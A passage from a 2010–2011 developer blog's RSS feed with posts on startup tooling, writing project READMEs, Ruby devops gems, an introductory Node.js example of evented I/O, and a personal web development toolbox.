or batch processing images, Ruby just makes it &lt;em&gt;fun&lt;/em&gt;.&lt;/p&gt;&lt;h2&gt;Michael's List&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; Do you remember the time when you had to apply and get approved for open source project hosting? Thanks to GitHub those days are behind us. The open source community owes a huge debt to the octocat for increasing the pace and ease of open source development by an order of magnitude or two.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Low Overhead:&lt;/strong&gt; So far for Opperator we have a beta signup system, a blog that can handle thousands of visitors, a deployment environment for building our app and a place to host our code. Total outlay so far? $10 for the domain. Okay we're piggybacking on the private GitHub account for &lt;a href="http://intridea.com"&gt;Intridea&lt;/a&gt; but that's still &lt;em&gt;amazing&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Other Developers:&lt;/strong&gt; The ones that fix stuff on my open source projects, the ones that hash out ideas with me and help me better my game, the ones that spend countless hours building things that I get to use for free. The ones that answer my random questions on Twitter. You guys are all awesome.&lt;/p&gt;&lt;p&gt;Software development is about building cool stuff. The path isn't always perfectly
smooth, but it is buckets full of cranberry awesomesauce. So take a moment and reflect, what are you thankful for as a developer?&lt;/p&gt;&lt;p&gt;&lt;em&gt;Bonus&lt;/em&gt;: to generate your own turkey-cow, check out the original &lt;a href="http://www.nog.net/%7Etony/warez/cowsay.shtml"&gt;cowsay&lt;/a&gt;, or &lt;a href="https://github.com/PatrickTulskie/ruby_cowsay"&gt;ruby_cowsay&lt;/a&gt;, or the &lt;a href="http://cowsay.heroku.com"&gt;hosted web version&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/-b9ZX7kuYFQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 23 Nov 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/-b9ZX7kuYFQ/developers-what-are-you-thankful-for</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/11/23/developers-what-are-you-thankful-for</feedburner:origLink></item>
    <item>
      <title>The Scrappy Guide to Pre-Launch Bootstrapping</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;A lot of startup advice revolves around launching a minimal viable product quickly. You’re happy to put in plenty of sweat and elbow grease for your fledging product, but what about all of your non-core competencies? How will you collect emails from interested users? Or how about keeping your audience engaged on your blog? You want something simple to setup, but with enough functionality to get stuff done.  Without further ado, here’s the list of tools we used to get Opperator’s community machine up and running.&lt;/p&gt;&lt;h2&gt;&lt;a href="http://launchrock.com"&gt;LaunchRock&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A simple no-frills service for building a landing page to collect contact information from interested users. We chose it for its built-in analytics and simple styling. Protip: the customizable fields allows html, so you can tweak their default form styling.&lt;/p&gt;&lt;p&gt;&lt;img alt="Opperator Launchrock landing page" height="354" src="/images/opperator-launchrock.jpg" width="500"&gt;&lt;/p&gt;&lt;h2&gt;&lt;a href="http://tumblr.com"&gt;Tumblr&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We signed up for both Posterous and Tumblr, but ultimately went with Tumblr. Being developers, we really wanted something that supports Markdown. We wanted flexibility and features, but at the same time, we didn’t want to get distracted and setup our own blog system.  Remember that every hour you spend shaving that hairy blog yak is an hour you could spend on engaging users and refining your product. While Tumblr has its quirks (its UX infuriates me), it’s very easy to style and easy to manage. Extra tip: to add images to your text posts, consider snapping screenshots with &lt;a href="http://getcloudapp.com/"&gt;Cloud App&lt;/a&gt; or &lt;a href="http://skitch.com/"&gt;Skitch&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;&lt;a href="http://twitter.com"&gt;Twitter&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Since we’re building a product for developers, being reachable on Twitter is just as or more important than having an email! We’re on Twitter as &lt;a href="http://twitter.com/opperatorapp"&gt;@opperatorapp&lt;/a&gt; and we’re cross-linking to our Twitter account everywhere. Twitter is such a fast, easy way to engage your audience that it’s a virtual no-brainer.&lt;/p&gt;&lt;h2&gt;&lt;a href="https://github.com"&gt;Github&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We love &lt;a href="https://github.com/opperator"&gt;open source&lt;/a&gt;, and open source loves us back. On top of using GitHub to host our code, we also use its wiki to organize notes, and its issues tracker to manage tasks. Developer friendly APIs makes it a joy to work with, and we’re going to emulate the same developer joy in our product.&lt;/p&gt;&lt;p&gt;&lt;img alt="Opperator and GitHub" height="261" src="/images/opperator-github.png" width="500"&gt;&lt;/p&gt;&lt;h2&gt;&lt;a href="http://ducksboard.com"&gt;Ducksboard&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There’s a number of these services out there, but we had a beta invite sitting around for &lt;strong&gt;Ducksboard&lt;/strong&gt;, a simple dashboard for various metrics about your site. We’re still working on wiring it up, but hopefully it will be a good way to measure key data across the business at a glance.&lt;/p&gt;&lt;p&gt;&lt;img alt="Ducksboard Dashboard" src="/images/opperator-ducksboard.png"&gt;&lt;/p&gt;&lt;h2&gt;Keeping it all organized&lt;/h2&gt;&lt;p&gt;For starters, we're using &lt;a href="http://highrisehq.com/"&gt;Highrise&lt;/a&gt; to keep notes with people we've talked to, &lt;a href="http://mailchimp.com/"&gt;Mailchimp&lt;/a&gt; to manage email campaigns, and &lt;a href="http://www.google.com/analytics/"&gt;Google Analytics&lt;/a&gt; and &lt;a href="http://get.gaug.es/"&gt;Gauges&lt;/a&gt; to keep tabs on our web analytics. We'll trim and add services as the need rises.&lt;/p&gt;&lt;h2&gt;Tools shouldn’t get in the way.&lt;/h2&gt;&lt;p&gt;At the end of the day, don’t forget that tools are meant to enhance your capabilities as a person. If you find you yourself customizing endless options and seething in frustration, then that shiny tool might really be a liability in disguise.&lt;/p&gt;&lt;p&gt;What did you use to launch your product? Anything lifesaving, anything to avoid like the plague? Share with us in the comments.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com/post/13112131476/the-scrappy-guide-to-pre-launch-bootstrapping"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/j9WJBlpfMbU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 21 Nov 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/j9WJBlpfMbU/scrappy-guide-to-prelaunch-bootstrapping</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/11/21/scrappy-guide-to-prelaunch-bootstrapping</feedburner:origLink></item>
    <item>
      <title>PROJECT README, Y U NO HAVE?</title>
      <description>&lt;p&gt;Pick any popular open source library. It'll have more documentation than your
application code - I guarantee it. Test and documentation are both
acknowledged as good development practices. But unlike testing, documentation
doesn't get the same love from developers. For code that isn't intended for a
public audience, developers keep all the docs in their head, or assume that
their code is self documenting. Additionally, the tests become a kind of
runnable documentation. But there's several lessons we can apply to our
private application code from open source documentation. Today, we'll start
the conversation with the lowest hanging fruits - the README.&lt;/p&gt;&lt;p&gt;&lt;img src="http://f.cl.ly/items/1z3W1o0q402Z141q2w2X/11516945.jpg" style="float:right; margin-left: 1em"&gt;&lt;/p&gt;&lt;p&gt;Pick any popular open source library. It'll have more documentation than your
application code - I guarantee it. Test and documentation are both
acknowledged as good development practices. But unlike testing, documentation
doesn't get the same love from developers. For code that isn't intended for a
public audience, developers keep all the docs in their head, or assume that
their code is self documenting. Additionally, the tests become a kind of
runnable documentation. But there's several lessons we can apply to our
private application code from open source documentation. Today, we'll start
the conversation with the lowest hanging fruits - the README.&lt;/p&gt;&lt;p&gt;The lack of a good README is one of my major pet peeves. When starting on a
new project, more often than not, I'll find myself staring at this README:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;== Welcome to Rails

Rails is a web-application framework that includes everything needed to
create database-backed web applications according to the
Model-View-Control pattern.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That's a fantastic README introduction... for the Rails framework. But it also
happens to be the default scaffold README for every new Rails project. Think
of a README as a first impression of your project. Just like open source
projects, your README should introduce the project the new developers.&lt;/p&gt;&lt;p&gt;Take 5 minutes of your time to write a README that explains the following
things:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What is it?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;A short elevator pitch about your application. Examples:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/travis-ci/travis-ci/blob/master/README.textile"&gt;Travis&lt;/a&gt;
is an attempt to create an open-source, distributed build system for the
Ruby community that allows open-source projects to register their
repository and have their test-suites run on demand...&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://rubydoc.info/docs/yard/frames/file/README.md"&gt;YARD&lt;/a&gt; is a
documentation generation tool for the Ruby programming language. It
enables the user to generate consistent, usable documentation that can be
exported to a number of formats very easily, and also supports extending
for custom Ruby constructs such as custom class level definitions.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/spree/spree"&gt;Spree&lt;/a&gt; is a complete open source commerce
solution for Ruby on Rails. It was originally developed by Sean Schofield
and is now maintained by a dedicated core team. You can find out more
about by visiting the Spree e-commerce project page.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;How do I set it up?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;List any dependencies your project has, both libraries it depends on, as well
as external services it uses. Also remember to include any commands to start
required services. Example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Development Setup

# install redis, mysql
brew install redis
brew install mysql

# install rvm: http://beginrescueend.com/rvm/install/

# within the project directory
bundle
rake db:setup
foreman start
# visit: http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Project Workflow and Tips&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Usually, I like to add an additional section for developers to add tips and
tricks that help with their day to day workflow. The notes listed in this
section are optional and individual developers can choose to use them or not.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Seed and Test Data&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Often times, existing developers and stakeholders will have their environments configured
and won't remember what seed data the system assumes to exist. Versioning a gzip dump
of the test data is perfect for someone to come along and get a sense of what the
app data looks like.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Who do I contact for help?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;If the project is a client project, it's good to list the stakeholders and
their roles. It's also a good place to put down the names and contact
information for members who may have worked on the project in the past.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Relevant links&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;A list of links to other sources of documentation or project management tools.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;bug tracker&lt;/li&gt;
&lt;li&gt;comps, wireframes, and design prototypes&lt;/li&gt;
&lt;li&gt;wikis&lt;/li&gt;
&lt;li&gt;staging, qa environments&lt;/li&gt;
&lt;li&gt;other servers&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Having a good README can help you onboard developers faster and have a single
starting point for your project. It's easy and fast to write, so go forth and
write yours today!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/AlJRoVGkTRg" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 21 Nov 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/AlJRoVGkTRg/project-readme-y-u-no-have</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/11/21/project-readme-y-u-no-have</feedburner:origLink></item>
    <item>
      <title>Rubies to Prevent Devops Mayhem</title>
      <description>&lt;div style="margin-top: 10px;"&gt;
  &lt;center&gt;
    &lt;object width="560" height="349"&gt;
      &lt;param name="movie" value="http://www.youtube.com/v/vtP-S9OS0o0?fs=1&amp;amp;hl=en_US"&gt;
&lt;param name="allowFullScreen" value="true"&gt;
&lt;param name="allowscriptaccess" value="always"&gt;
&lt;embed src="http://www.youtube.com/v/vtP-S9OS0o0?fs=1&amp;amp;hl=en_US" type="application/x-shockwave-flash" width="560" height="349" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;
  &lt;/center&gt;
&lt;/div&gt;&lt;p&gt;You've just written a masterpiece of a web app. It's fun, it's viral,
and it's useful. It's clearly going to be "Sliced Bread 2.0". But what
comes next is a series of unforeseen headaches. You'll outgrow your
shared hosting and need to get on cloud services. A late night hack
session will leave you sleep deprived, and you'll accidentally drop
your production database instead of your staging database. Once you
serve up a handful of error pages, your praise-singing users will
leave you faster than it takes to start a flamewar in #offrails. But
wait! Just as Ruby helped you build your killer app, Ruby can also
help you manage your infrastructure as your app grows. Read on for a
list of useful gems every webapp should have.&lt;/p&gt;&lt;h3&gt;Backups&lt;/h3&gt;&lt;p&gt;When you make a coding mistake, you can revert to a good known
commit. But when disaster wrecks havoc with your data, you better have
an offsite backup ready to minimize your losses. Enter the &lt;a href="https://github.com/meskyanichi/backup/"&gt;backups
gem&lt;/a&gt;, a DSL for describing
your different data stores and offsite storage locations. Once you
specify what data stores you use in your application (MySQL,
PostgreSQL, Mongo, Redis, and more), and where you want to store it
(rsync, S3, CloudFiles), Backup will dump and store your backups. You
can specify how many backups you'd like to keep in rotation, and
there's various extras like gzip compression, and notifiers for when
backups are created or failed to create.&lt;/p&gt;&lt;h3&gt;Cron Jobs&lt;/h3&gt;&lt;p&gt;Having backups configured doesn't make you any less absent minded
about running your backups. The first remedy that jumps to mind is
editing your crontab. But man, it's hard to remember the format on
that sucker. If only there was a Ruby wrapper around
cron... Fortunately there is! Thanks to the &lt;a href="https://github.com/javan/whenever"&gt;whenever
gem&lt;/a&gt;, you can define repetitious
tasks in a Ruby script.&lt;/p&gt;&lt;h3&gt;Cloud Services&lt;/h3&gt;&lt;p&gt;With the number of cloud services available today, it's becoming more
common to have your entire infrastructure hosted in the cloud. Many of
these services offer API's to help you tailor and control your
environments programmatically.  Having API's is great, but it's tough
to keep them all in your head.&lt;/p&gt;&lt;p&gt;The &lt;a href="https://github.com/geemus/fog"&gt;fog gem&lt;/a&gt; is the one API to rule
them all.  It provides a consistent interface to several cloud
services. There are specific adapters for each cloud service. By
following the Fog interface, it makes it really easy to switch between
different cloud services. Say you were using Amazon's S3, but wanted
to switch to Rackspace's CloudFiles. If you use Fog, it's as simple as
replacing your credentials and changing the service name. You can
create real cloud servers, or create mock ones for testing. Even if
you don't use any cloud services, fog has adapters for non-cloud
servers and filesystems.&lt;/p&gt;&lt;h3&gt;Exception Handling&lt;/h3&gt;&lt;p&gt;&lt;a href="http://hoptoadapp.com/pages/home"&gt;Hoptoad&lt;/a&gt; is a household name in the
Ruby community. It catches exceptions created by your app, and sends
them into a pretty web interface and other notifications. If you can't
use Hoptoad because of a firewall, check out the self-hostable
&lt;a href="https://github.com/relevance/errbit"&gt;Errbit&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Monitoring&lt;/h3&gt;&lt;p&gt;When your infrastructure isn't running smoothly, it better be raising
all kinds of alarms and sirens to get someone to fix it. Two popular
monitoring solutions are &lt;a href="http://god.rubyforge.org/"&gt;God&lt;/a&gt;, and
&lt;a href="https://github.com/k33l0r/monit"&gt;Monit&lt;/a&gt;. God lets you configure which
services you want to monitor in Ruby, and the Monit gem gives you an
interface to query services you have registered with
&lt;a href="http://mmonit.com/monit/"&gt;Monit&lt;/a&gt;. If you have a Ruby script that
you'd like to have running like a traditional Unix daemon, check out
the &lt;a href="http://daemons.rubyforge.org/"&gt;daemons gem&lt;/a&gt;. It wraps around your
existing Ruby script and gives you a 'start', 'stop', 'restart'
command line interface that makes it easier to monitor. Don't forget
to monitor your background services, it sucks to have all your users
find your broken server before you do.&lt;/p&gt;&lt;h3&gt;Staging&lt;/h3&gt;&lt;p&gt;Your application is happily running in production, but all of a
sudden, it decides to implode on itself for a specific user when they
update their avatar. Try as you might, you just can't reproduce the
bug locally. You could do some cowboy debugging on production, but
you'll end up dropping your entire database on accident. Oops.&lt;/p&gt;&lt;p&gt;It's times like these that you'll be thankful you have a staging
environment setup. If you use capistrano, make sure to check out how
to use capistrano-ext gem, and its &lt;a href="http://weblog.jamisbuck.org/2007/7/23/capistrano-multistage"&gt;multi-stage deploy
functionality&lt;/a&gt;.
To reproduce your bug on the same data, you can use the &lt;a href="https://github.com/ricardochimal/taps"&gt;taps
gem&lt;/a&gt; to transfer your data from
your production database to your staging database. If you're using
Heroku &lt;a href="http://devcenter.heroku.com/articles/taps"&gt;then it's already
built-in&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Before you start testing your mailers on staging, do all of your users
a favor and install the &lt;a href="https://github.com/myronmarston/mail_safe"&gt;mail_safe
gem&lt;/a&gt;. It stubs out
ActionMailer so that your users don't get your testing spam. It also
lets you send emails to your own email address for testing.&lt;/p&gt;&lt;h3&gt;CLI Tools&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/wycats/thor"&gt;Thor&lt;/a&gt; is a good foundation for
writing CLI utilities in Ruby. It has interfaces for manipulating
files and directories, parsing command line options, and manipulating
processes.&lt;/p&gt;&lt;h3&gt;Deployment&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/capistrano/capistrano"&gt;Capistrano&lt;/a&gt; helps you
deploy your application, and
&lt;a href="http://wiki.opscode.com/display/chef/Home"&gt;Chef&lt;/a&gt; configures and
deploys your servers and services. If you use
&lt;a href="http://vagrantup.com/"&gt;Vagrant&lt;/a&gt; for managing development virtual
machines, you can reuse your Chef cookbooks for production.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;All of these gems help us maintain our application infrastructure in a
robust way. It frees us from running one-off scripts and hacks in
production and gives us a repeatable process for managing everything
our app runs on. And on top of all the awesome functionality these
tools provide, we can also write Ruby to interact with them and
version control them alongside our code. So for your next killer
webapp, don't forget to add some killer devops to go along with it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/8xfcPHkNs2Y" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 1 Jun 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/8xfcPHkNs2Y/rubies-to-prevent-devops-mayhem</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/06/01/rubies-to-prevent-devops-mayhem</feedburner:origLink></item>
    <item>
      <title>Node.js Jumpstart</title>
      <description>&lt;p&gt;In a nutshell, Node is a Javascript framework for building network
apps.  Network apps are broader in scope than webapps. They don't need
to run on HTTP, thus freeing you to write lower level tools. Node
doesn’t necessarily have to be part of your core app, and in many
cases, it makes for a good fit for writing some of the support
functions for your webapp. I'll cover the basics of getting Node
setup, some event driven programming, and some miscellaneous Node
goodies.&lt;/p&gt;&lt;p&gt;To get started, you can grab the latest Node release from
&lt;a href="https://github.com/joyent/node.git"&gt;Github&lt;/a&gt;. They have &lt;a href="https://github.com/joyent/node/wiki/Installation"&gt;good
installation
instructions&lt;/a&gt;, but
for the truly uninitiated Mac users, you can install it via
&lt;a href="https://github.com/mxcl/homebrew"&gt;homebrew&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;brew install node
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once you have Node, you can try it out with an interactive session
much like irb. Run node with no arguments:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;node
&amp;gt; console.log('hello world')
hello world
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Node's biggest core idea is evented I/O. Instead of blocking and
waiting for I/O to finish, Node will start I/O, and execute a callback
when data is actually ready. On top of reading and writing requests
and responses, we spend a lot of time doing I/O when we fetch data
from a datastore, or make external requests to other APIs. With Node,
we save that wasted blocking time to do actual useful work.&lt;/p&gt;&lt;p&gt;Let's compare a really simple file I/O operation to compare Ruby to
Node.  Here's a simple Ruby script that will read a file 3 times and
print when it finishes, and also print "doing something important".&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(1..3).each do |i|
  contents = File.read('foo.txt')
  puts "#{i}. Finished reading file"
  puts "#{i}. doing something important..."
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We also print out the loop counter to see the order the statements
were run.  The output is unsurprising:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1. Finished reading file
1. doing something important...
2. Finished reading file
2. doing something important...
3. Finished reading file
3. doing something important...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now let's look at the Node equivalent of the same script:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;var fs = require('fs');
for (var i=1; i&amp;lt;=3; i++) {
  fs.readFile('presentation.key', function(err, data) {
    console.log(i + ". Finished reading file");
  });
  console.log(i + ". doing something important...");
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What's interesting in this code is the callback we use with the
readFile method. By having a callback on this I/O action, readFile
will immediately return when called, which allows "doing something
important" to be run before the I/O actually completes. When the file
is finished reading, then we invoke the callback.  Here's the output
for the Node script:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1. doing something important...
2. doing something important...
3. doing something important...
4. Finished reading file
4. Finished reading file
4. Finished reading file
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Were you surprised by the loop counter 4 in the results? This is one
of those subtle "gotcha's" that takes time to get used to. Because the
callback is invoked long after the loop is finished, the loop counter
variable 'i' has been incremented to 4.&lt;/p&gt;&lt;p&gt;The community for Node is growing, and there is already a &lt;a href="https://github.com/joyent/node/wiki/modules"&gt;large
number of non-blocking
libraries&lt;/a&gt; that are Node
friendly. Many of these can be used to build diagnostic and metrics
tools for supporting your site. If your site has a need for push
notifications or uses AJAX to poll for updates, you can also use Node
to handle those features on your site. A few fun examples of apps
built with Node include &lt;a href="https://github.com/etsy/statsd"&gt;StatsD&lt;/a&gt;,
&lt;a href="http://projects.nuttnet.net/hummingbird/"&gt;Hummingbird Analytics&lt;/a&gt;, and
&lt;a href="https://github.com/mape/node-wargames"&gt;Node Wargames&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;That covers a brief introduction to Node.  I leave you with a quote
from the creator of Node that I'm a fan of.  He says:&lt;/p&gt;&lt;div class="quote_box" style="background: #edf4f7 url(http://img.skitch.com/20100511-pkj1ytnfcdk5qtpi1bh9w8q5a1.png) no-repeat 10px 10px;padding: 17px 18px 14px 81px;margin-bottom: 18px;-moz-border-radius: 12px;-webkit-border-radius: 12px;"&gt;

&lt;p&gt;Node jails you into this evented-style programming. You can't do things in
a blocking way, you can’t write slow programs. &lt;/p&gt;

&lt;p style="font-size: 12px;line-height: 17px;margin-bottom: 10px;"&gt; &lt;strong style="display:block;font-weight: bold;color: #da1c49; font-family: 'Museo Sans', Arial, 'Lucida Grande'; margin-bottom: 5px;"&gt;--Ryan Dahl&lt;/strong&gt;

&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/HdrE0YjxxV8" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 8 Apr 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/HdrE0YjxxV8/nodejs-jumpstart</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/04/08/nodejs-jumpstart</feedburner:origLink></item>
    <item>
      <title>My Web Development Toolbox, 2010 Edition</title>
      <description>&lt;p&gt;2010 was a big shift in work environment for me. I migrated from an office to
a completely distributed and remote team at &lt;a href="http://outspokes.com"&gt;Outspokes&lt;/a&gt;
and then to &lt;a href="http://intridea.com"&gt;Intridea&lt;/a&gt; later in the same year.  Many of my
daily tools stayed the same, but there's been plenty of additions to streamline
my work.  Here's an overview of my most used tools for web development.&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/chrome.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://www.google.com/chrome"&gt;Chrome&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;I switched to Chrome as my personal use browser, but stuck with Firefox because
of Firebug and other extensions.  Chrome was snappy in daily use, consumed less
resources, and just plain &lt;em&gt;felt&lt;/em&gt; better than Firefox.  Once I learned about the
available "Web Inspector", the switch was complete.  Nowadays, I only open other
browsers briefly for testing.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/skype.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://www.skype.com/"&gt;Skype&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Instead of holding meetings in person, Skype is now always open for conference
calls.  Meetings are scheduled in Google calendar, and if screen sharing is
needed, then we pop open a &lt;a href="http://www.gotomeeting.com/"&gt;GoToMeeting&lt;/a&gt;.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/presently.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://www.presently.com/"&gt;Presently&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;I used Yammer briefly while at Outspokes, but none of us got into it very
much. At Intridea, there was so much more knowledge and information that
needed to be shared between projects and team members that I saw the real value
of micro-blogging for the first time.  On a remote team, it's also a great way
to share a virtual water cooler and hang out with your co-workers.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/propane.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://propaneapp.com/"&gt;Propane&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Campfire client for OSX. I don't use Campfire for all my projects, but when a
client requests it, then I can keep separate tabs.  The integrated file upload
and download is nice too.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/textmate.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://macromates.com/"&gt;Textmate&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;I grew up on Emacs, and I still use it frequently, but Emacs and Vim are both
kind of clunky and doesn't fit in with the rest of the Cocoa environment.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/gitx.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://gitx.frim.nl/"&gt;Gitx&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Simple way to stage and unstage changes.  I know there's fancier apps that
integrate with Github, but for the time being, this app has just the right
amount of features for me.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/cloudapp.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;
&lt;a href="http://getcloudapp.com/"&gt;Cloudapp&lt;/a&gt; and &lt;a href="http://skitch.com/"&gt;Skitch&lt;/a&gt;
&lt;/h3&gt;&lt;p&gt;I use Cloudapp for ultra-quick screenshots and file uploads. When I need to
draw a few arrows and text, I open up Skitch and drag the image up to the
Cloudapp menulet.  I know Skitch has built in sharing, but the Cloudapp one
feels more polished to me.  Both are great apps I use &lt;strong&gt;all the time&lt;/strong&gt;.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/divvy.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://www.mizage.com/divvy/"&gt;Divvy&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Divvy lets me quickly tile a bunch of windows.  It's just a single feature,
but it's an awesome single feature.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/pixelmator.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://www.pixelmator.com/"&gt;Pixelmator&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;I don't do very much graphics work, but it's nice to have an app that lets me
whip up a quick background, or tweak an existing image asset.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/httpclient.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://ditchnet.org/httpclient/"&gt;HTTPClient&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Great way to test APIs and inspect HTTP headers.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/multifirefox.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://davemartorana.com/multifirefox/"&gt;MultiFirefox&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When I do need to test multiple versions of Firefox, MultiFirefox is a kickass
simple utility for launching different versions with different profiles.
